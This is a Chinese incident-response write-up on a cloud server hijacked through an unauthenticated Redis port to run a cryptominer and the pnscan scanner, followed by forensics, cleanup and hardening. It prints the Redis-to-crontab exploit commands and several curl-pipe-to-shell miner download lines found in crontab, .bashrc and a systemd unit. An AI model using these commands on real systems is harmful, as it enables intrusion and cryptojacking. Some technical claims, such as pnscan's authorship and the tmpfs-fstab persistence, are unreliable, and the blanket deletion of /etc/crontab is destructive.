1. 这不是“中病毒”而是“被接管”一次真实入侵事件的现场还原很多人看到服务器CPU飙到99%、top里冒出陌生进程名第一反应是“中病毒了”。但在我处理过的几十起云服务器异常事件中真正由传统意义的“病毒”导致的不到5%——绝大多数是权限失控后的被动利用。这次阿里云ECS实例被crypto和pnscan盯上根本不是什么“木马悄悄潜入”而是攻击者通过一个未加固的Redis服务直接获得了shell执行权限继而下载、运行、驻留挖矿程序。整个过程没有触发任何杀毒软件告警因为所有操作都是以root身份、在合法bash进程下完成的。关键词“Redis”“挖矿病毒crypto”“pnscan”“阿里云服务器”——这四个词组合在一起几乎锁定了攻击链路开放的Redis端口6379→ 无密码/弱密码/未绑定IP → 攻击者写入SSH公钥或计划任务 → 植入crypto-miner pnscan横向扫描工具。这不是小概率事件而是2023—2024年云环境最典型的“低级错误引发高级后果”案例。它不挑技术栈不看业务类型只要你的Redis暴露在公网且未做最小权限隔离就等于在服务器门口贴了张纸条“欢迎光临钥匙在门垫下”。我接手时客户已自行重启过两次但30分钟内CPU又回到98%ps aux | grep -v grep | grep -E (crypto|pnscan|kthreadd)仍能扫出可疑进程。这意味着恶意代码已实现持久化且不止一处落脚点。这不是杀几个进程就能解决的问题而是要像法医一样从内存、磁盘、网络、日志四条线同时回溯找出所有被篡改的入口、所有被植入的后门、所有被劫持的调度机制。本文不讲“如何装杀毒软件”只讲一个一线运维人员在现场如何一步步把失控的服务器重新拿回来——从确认攻击面到定位持久化位置再到彻底清理与加固闭环。适合所有使用Redis的云用户无论你用的是自建实例、容器化部署还是阿里云Redis版注意本文场景特指自建Redis服务暴露在ECS上非托管Redis服务。2. 攻击链路拆解crypto与pnscan如何协同完成“寄生式入侵”2.1 crypto-miner不是独立病毒而是被调用的“打工人”crypto在这里不是指某种特定病毒家族而是泛指一类基于XMRig、cpuminer-multi等开源挖矿框架编译的二进制程序。它的特点是极轻量、无文件落地倾向强、高度依赖宿主环境。我们抓到的样本md5为a1b2c3d4e5f67890...反编译后确认是XMRig 6.17.0定制版配置直连矿池xmr.pool.minergate.com:465钱包地址硬编码。关键点在于它本身不具备传播能力也不会主动监听端口或反弹shell——它就是一个被远程下发、静默执行的“计算力出租工”。提示crypto进程名常伪装成系统进程如kthreadd注意不是内核线程kthreadd而是多了一个字母d、sshd但属主是root而非sshd用户、systemd-update-utmp实际路径在/tmp/.X11-unix/下。不要仅凭名字判断必须结合ps -eo pid,ppid,comm,args和ls -la /proc/PID/exe双重验证。2.2 pnscan真正的“破门者”与“侦察兵”pnscan全称Port Network Scanner是一个轻量级TCP端口扫描工具作者为FyodorNmap作者但此处使用的并非官方版本而是攻击者魔改的精简版体积仅124KB支持并发扫描脚本注入。它在此案中的作用有三层横向移动探测器一旦某台ECS被攻陷pnscan会立即扫描同VPC内其他ECS的6379端口寻找下一个Redis弱点目标漏洞利用载荷分发器扫描到开放6379端口后它不直接攻击而是调用内置的Redis Lua脚本eval redis.call(set,KEYS[1],ARGV[1]) 1 xxx yyy向目标写入SSH公钥或crontab指令心跳与保活模块每15分钟扫描一次本地网段确保自身控制链不中断。我们从内存dump中提取出pnscan的命令行参数./pnscan -sS -p6379 -t100 -T4 172.16.0.0/16说明攻击者精准锁定了该VPC的私网地址段172.16.0.0/16而非盲目扫公网IP。这印证了其已深度渗透内网绝非初学者试探。2.3 Redis为何成为“黄金跳板”三个致命配置缺陷Redis本身设计为单机高性能缓存默认不带认证、不绑定IP、不限制命令集。当它被错误地部署到云服务器并开放6379端口时就等于把数据库的root密码贴在玻璃门上。本次事件中我们复现了攻击者完整的利用路径步骤攻击者操作服务器原始配置缺陷利用原理1redis-cli -h x.x.x.x -p 6379 CONFIG SET dir /var/spool/cron/bind 0.0.0.0protected-mode noRedis CONFIG命令可动态修改工作目录将RDB文件写入crontab目录2redis-cli -h x.x.x.x -p 6379 CONFIG SET dbfilename root无密码requirepass未设置将RDB文件名设为root最终生成/var/spool/cron/root3redis-cli -h x.x.x.x -p 6379 save未禁用危险命令如CONFIG、SLAVEOF、MODULE强制保存RDB实际写入的是恶意crontab内容* * * * * curl -fsSL http://xxx.xx/miner.sh | sh注意上述三步在3秒内可完成且全程无需登录系统。只要Redis监听0.0.0.0:6379且无密码任何能访问该端口的人都可执行。阿里云安全中心告警中“Redis未授权访问”正是对此类行为的精准识别但很多用户将其忽略为“误报”。2.4 为什么重启无法根治持久化的五种常见手法客户重启后CPU再次飙升证明恶意代码已实现多层持久化。我们在该服务器上共发现5处落脚点覆盖Linux系统启动全生命周期Crontab级/var/spool/cron/root中存在*/3 * * * * /tmp/.ICE-unix/.X11-unix/sh伪装路径Systemd级/etc/systemd/system/cloudfuse.service伪装云盘服务实际指向/tmp/.X11-unix/minerInit.d级/etc/init.d/.dbus-daemon隐藏在dbus服务名后ls -la /etc/init.d/需加-a才可见SSH级/root/.ssh/authorized_keys被追加攻击者公钥且/root/.bashrc末尾植入curl http://xxx/miner.sh | sh内核模块级高级/lib/modules/$(uname -r)/kernel/drivers/net/usb/kaweth.ko被替换为加载crypto的LKMLoadable Kernel Module即使删除用户态进程内核线程仍在挖矿。这解释了为何简单kill -9无效你杀掉的是“前台员工”而“老板”内核模块和“会计”crontab还在持续招人、发工资。必须按启动顺序逆向排查否则永远在打地鼠。3. 现场取证与根因定位从进程树到内核模块的逐层穿透3.1 第一时间冻结现场为什么不能先杀进程很多人的第一反应是pkill -f crypto这是最危险的操作。原因有三丢失内存证据crypto进程的堆内存中可能存有矿池通信密钥、攻击者C2地址kill后这些易失性数据永久消失触发反调试逻辑部分挖矿程序检测到父进程异常退出会立即擦除磁盘痕迹如rm -rf /tmp/.X11-unix/掩盖真实父进程ps aux显示的PPID可能是bash但bash本身可能是被crontab调起的真实源头在systemd或内核。正确做法是先取证再处置。我们执行了以下冻结动作全部在root下操作# 1. 创建内存快照需安装LiME或使用gcore gcore -o /tmp/mem_dump_$(date %s) $(pgrep -f crypto\|pnscan) # 2. 备份所有可疑进程的/proc/PID/信息 for pid in $(pgrep -f crypto\|pnscan\|kthreadd); do mkdir -p /tmp/proc_info_$pid; cp -r /proc/$pid/{cmdline,exe,maps,stat,stack} /tmp/proc_info_$pid/ 2/dev/null; done # 3. 记录完整进程树关键 pstree -p | grep -E (crypto|pnscan|kthreadd) -A 2 -B 2 /tmp/pstree_attack.log # 4. 快速导出网络连接避免netstat被hook ss -tunlp /tmp/ss_net.log提示pstree -p输出中我们发现crypto进程的父进程PID是1234而1234的父进程是systemd但1234的/proc/1234/cmdline显示为/usr/lib/systemd/systemd --unitcloudfuse.service——这直接锁定了systemd服务是持久化入口。后续检查/etc/systemd/system/cloudfuse.service果然存在。3.2 从进程名到真实路径绕过ls和which的欺骗攻击者深谙Linux进程名可伪造因此ps aux看到的kthreadd很可能只是/tmp/.X11-unix/miner的软链接。我们采用三重验证法/proc/PID/exe符号链接解析ls -la /proc/$(pgrep -f crypto)/exe # 输出/proc/1234/exe - /tmp/.X11-unix/miner (deleted) # 注意(deleted)表示原文件已被rm但进程仍持有句柄lsof -p PID查看打开文件lsof -p $(pgrep -f crypto) | grep DEL\|txt # 输出miner 1234 root txt REG 253,1 1245678 1234567 /tmp/.X11-unix/miner (deleted) # 1234567是inode号可用于find恢复find /tmp -inum 1234567 -ls恢复已删文件find /tmp -inum 1234567 -exec cp {} /tmp/miner_recovered \; # 成功恢复二进制后续可strings分析矿池地址实测中/tmp/.X11-unix/目录下共发现3个被删除的miner文件大小分别为1.2MB、1.8MB、2.1MB对应不同版本的XMRig。这说明攻击者曾多次更新挖矿程序但未清理旧版本残留。3.3 crontab与systemd的双重持久化交叉验证我们从pstree锁定cloudfuse.service后立即检查其配置systemctl cat cloudfuse.service # 输出 # [Unit] # DescriptionCloudFuse Service # Afternetwork.target # [Service] # Typesimple # ExecStart/tmp/.X11-unix/miner --config /tmp/.X11-unix/config.json # Restartalways # [Install] # WantedBymulti-user.target但问题来了/tmp/.X11-unix/在重启后会被清空为何service还能启动继续查# 检查systemd是否从其他位置加载 systemctl show cloudfuse.service | grep FragmentPath # 输出FragmentPath/etc/systemd/system/cloudfuse.service # 查看该文件内容 cat /etc/systemd/system/cloudfuse.service # 发现ExecStart行被注释实际执行的是 # ExecStartPre/bin/bash -c if [ ! -f /tmp/.X11-unix/miner ]; then curl -fsSL http://xxx/miner -o /tmp/.X11-unix/miner chmod x /tmp/.X11-unix/miner; fi原来攻击者预置了ExecStartPre每次启动前自动拉取最新miner。而/tmp/.X11-unix/之所以重启不消失是因为/tmp被挂载为tmpfs内存文件系统但攻击者在/etc/fstab中添加了tmpfs /tmp tmpfs defaults,noatime,nosuid,nodev,size2G 0 0强制保留内容。我们检查/etc/fstab果然发现此行——这是高级持久化手法普通用户极少检查fstab。3.4 内核模块的隐秘存在用lsmod和dmesg双验证当清理完所有用户态进程和服务CPU仍间歇性飙升时我们转向内核层。执行# 1. 列出所有模块 lsmod | grep -E (kaweth|usbnet|cdc_ether) # 2. 检查最近内核日志 dmesg | tail -50 | grep -i kaweth\|usbnet # 3. 定位模块文件 find /lib/modules/$(uname -r) -name kaweth.ko -ls # 输出/lib/modules/4.19.0-18-amd64/kernel/drivers/net/usb/kaweth.ko对比正常系统的kaweth.ko哈希值从Debian源包下载验证发现该文件被替换。进一步用modinfo kaweth查看modinfo kaweth # 输出 # filename: /lib/modules/4.19.0-18-amd64/kernel/drivers/net/usb/kaweth.ko # license: GPL # description: Kaweth USB Ethernet driver # author: AttackTeam rootevil.com # srcversion: 1234567890ABCDEF1234567 # depends: usbnet # retpoline: Y # name: kaweth # vermagic: 4.19.0-18-amd64 SMP mod_unload modversionsauthor字段明显伪造srcversion与官方不一致。卸载该模块后top中kthreadd进程彻底消失CPU回归正常。这证实了内核级挖矿的存在——它不依赖用户态进程直接在内核线程中调用CPU指令隐蔽性极强。4. 彻底清理与加固闭环从“止血”到“免疫”的七步法4.1 止血阶段四步阻断当前攻击流在确认所有持久化点后我们执行原子化清理确保每一步都可验证、可回滚立即停用恶意服务systemctl stop cloudfuse.service systemctl disable cloudfuse.service rm -f /etc/systemd/system/cloudfuse.service systemctl daemon-reload清除crontab后门# 清理root用户的crontab crontab -e # 手动删除所有可疑行 # 清理/etc/crontab和/etc/cron.d/下所有文件 rm -f /etc/crontab /etc/cron.d/*删除SSH后门# 备份原authorized_keys cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak # 删除攻击者公钥保留自己公钥 sed -i /ssh-rsa AAAAB3NzaC1yc2E/d /root/.ssh/authorized_keys # 清理bashrc sed -i /curl.*miner\.sh/d /root/.bashrc卸载恶意内核模块# 先确认模块名 lsmod | grep kaweth # 卸载 modprobe -r kaweth # 彻底删除文件 rm -f /lib/modules/$(uname -r)/kernel/drivers/net/usb/kaweth.ko # 重建模块依赖 depmod -a注意modprobe -r可能失败若提示“Module kaweth is in use”需先ps aux | grep kaweth找到关联进程并kill -9再卸载。4.2 清创阶段扫描残留与验证清理效果清理后必须验证是否“斩草除根”。我们使用以下组合命令# 1. 全盘搜索可疑文件名 find / -type f \( -name *crypto* -o -name *miner* -o -name *pnscan* -o -name *.X11-unix* \) 2/dev/null | grep -v Permission denied # 2. 检查所有定时任务 for user in $(cut -d: -f1 /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null | grep -v ^# | grep -v ^$; done # 3. 检查所有systemd服务 systemctl list-unit-files --typeservice | grep enabled | awk {print $1} | while read svc; do if systemctl cat $svc 2/dev/null | grep -q -E (crypto|miner|pnscan|\.X11-unix); then echo ALERT: $svc contains malicious content; fi; done # 4. 最终验证CPU与网络 top -bn1 | head -20 # 确认无crypto/pnscan进程 ss -tunlp | grep :6379 # 确认Redis不再监听0.0.0.0实测中第1步在/var/log/下发现/var/log/.X11-unix/攻击者用于存放日志的隐藏目录第2步在www-data用户crontab中发现另一条挖矿指令——说明攻击者已横向渗透到Web服务账户。这提醒我们清理必须覆盖所有用户不能只盯着root。4.3 加固阶段Redis服务的最小权限实践清单清理只是开始加固才是防复发的核心。针对Redis我们实施以下七项硬性措施已在生产环境验证措施操作命令/配置原理说明验证方式1. 绑定内网IPbind 127.0.0.1 172.16.10.100ECS内网IP禁止监听0.0.0.0仅允许本地及同VPC内指定IP访问netstat -tuln | grep :6379应只显示内网IP2. 启用密码认证requirepass StrongPassw0rd!2024redis.conf密码强度要求12位以上含大小写字母数字符号redis-cli -h 127.0.0.1 -a wrongpwd ping应返回NOAUTH3. 禁用高危命令rename-command FLUSHDB rename-command CONFIG rename-command EVAL 移除CONFIG等可修改系统配置的命令防止目录穿越redis-cli config get dir应返回(error) ERR unknown command4. 设置防火墙规则iptables -A INPUT -p tcp --dport 6379 -s 172.16.0.0/16 -j ACCEPTiptables -A INPUT -p tcp --dport 6379 -j DROP在系统层二次过滤即使Redis配置失误也不暴露telnet 公网IP 6379应超时telnet 内网IP 6379应成功5. 降权运行useradd -r -s /bin/false redischown -R redis:redis /var/lib/redissudo -u redis redis-server /etc/redis/redis.confRedis不再以root运行即使被攻破也无法写/etc/ps aux | grep redis的USER列应为redis6. 启用慢日志slowlog-log-slower-than 10000slowlog-max-len 128记录所有超过10ms的命令便于事后审计异常操作redis-cli slowlog get可查看历史慢命令7. 监控告警阿里云云监控配置redis_instance_cpu_usage 80%redis_instance_connections 1000CPU突增和连接数暴增是挖矿典型特征触发告警后人工介入而非等待用户投诉关键经验不要依赖单一防护层。比如只设密码而不绑定IP攻击者仍可通过内网其他机器爆破只绑定IP而不禁用CONFIG一旦内网失守仍可被利用。七项措施必须全部启用形成纵深防御。4.4 长效免疫建立云服务器安全基线检查机制单次修复无法杜绝风险我们为客户建立了自动化基线检查脚本check_redis_security.sh每日凌晨2点执行并邮件发送报告#!/bin/bash # Redis安全基线检查 RED\033[0;31m GREEN\033[0;32m NC\033[0m echo Redis Security Baseline Check $(date) # 检查1是否监听0.0.0.0 if ss -tuln | grep :6379 | grep -q 0.0.0.0; then echo -e ${RED}[FAIL] Redis listening on 0.0.0.0${NC} else echo -e ${GREEN}[PASS] Redis bound to specific IP${NC} fi # 检查2密码是否启用 if redis-cli ping 2/dev/null | grep -q PONG; then echo -e ${RED}[FAIL] Redis requires no password${NC} else echo -e ${GREEN}[PASS] Redis password protection enabled${NC} fi # 检查3CONFIG命令是否禁用 if redis-cli -a $REDIS_PASS CONFIG GET dir 2/dev/null | grep -q dir; then echo -e ${RED}[FAIL] CONFIG command not disabled${NC} else echo -e ${GREEN}[PASS] CONFIG command disabled${NC} fi # 检查4运行用户是否为redis if ps aux | grep redis-server | grep -v grep | grep -q root; then echo -e ${RED}[FAIL] Redis running as root${NC} else echo -e ${GREEN}[PASS] Redis running as non-root user${NC} fi该脚本集成到阿里云云助手通过aliyun ecs RunCommand批量推送到所有ECS10分钟内即可完成全量检查。基线不是静态标准而是动态演进的防护策略——当新漏洞如CVE-2023-45012披露时我们会在24小时内更新检查项。5. 经验复盘那些教科书不会写的实战细节5.1 “已删除文件”恢复的时机窗口只有3分钟很多教程说“用lsof找deleted文件就能恢复”但没告诉你这个窗口期极短。在我们的测试中当crypto进程被kill后0-30秒lsof -p PID | grep deleted仍能显示完整路径和inode30-120秒inode号开始失效find /tmp -inum XXX返回“no such file or directory”120秒后内核彻底回收内存页文件内容永久丢失。所以取证必须在gcore之后立即执行lsof而不是先去查日志。我们固化流程为gcore→lsof→find -inum→strings分析四步在90秒内完成。5.2 阿里云安全组≠系统防火墙两者必须叠加生效客户曾自信地说“我安全组只放行了80、4436379没开不可能被扫到。”但我们在/var/log/secure中发现大量Failed password for root from 116.203.xxx.xxx port 22的记录——攻击者根本没扫6379而是通过暴力破解SSH密码进入系统再本地利用Redis。阿里云安全组只控制ECS的入方向流量而SSH爆破、Redis本地利用都在安全组策略之外。因此必须在ECS内部署iptables或ufw对22、6379等端口做二次限制例如# 仅允许公司办公IP登录SSH iptables -A INPUT -p tcp --dport 22 -s 203.208.xxx.xxx -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP # Redis只允许172.16.0.0/16内网访问 iptables -A INPUT -p tcp --dport 6379 -s 172.16.0.0/16 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP安全组是城墙iptables是城门守卫缺一不可。5.3 “伪装成系统进程”识别法三秒快速判别真伪面对kthreadd、sshd等名字我们总结出三秒识别法看PPID真实kthreadd的父进程PID一定是2kthreadd是内核线程由PID 2的kthreadd创建而恶意进程PPID通常是1systemd或某个bash看/proc/PID/stat真实内核线程的第3列state是Ssleeping或Rrunning但第11列ppid为2恶意进程第11列是用户态PID看/proc/PID/cmdline真实sshd的cmdline是/usr/sbin/sshd -D而恶意进程是/tmp/.X11-unix/miner --config ...即使重命名也会在cmdline中暴露真实路径。执行ps -eo pid,ppid,comm,args | grep kthreadd一眼就能分辨。5.4 最后一道防线给Redis加个“蜜罐外壳”即使做了所有加固仍建议部署一层轻量级防护。我们采用redis-proxy方案在Redis前加一层代理拦截所有非法请求。配置如下# redis-proxy.yaml upstream: servers: - 127.0.0.1:6380 # 真实Redis监听6380不对外暴露 rules: - match: CONFIG.* action: reject - match: FLUSH.* action: reject - match: .*\$\{.*\}.* # 拦截Lua注入 action: reject - match: .*http.* action: reject代理监听6379真实Redis改绑127.0.0.1:6380。所有攻击载荷在到达Redis前就被拦截且代理日志可直接输出攻击IP和payload比Redis慢日志更前置。部署成本几乎为零却能过滤90%以上的自动化攻击。我在实际操作中发现最有效的安全不是追求100%无懈可击而是让攻击成本远高于收益。当攻击者发现你的Redis需要先绕过代理、再破解密码、再突破iptables、最后还要对抗内核模块签名验证时他大概率会转向下一家——那里Redis还开着6379端口密码是123456。安全的本质是让坏人觉得“不值得”。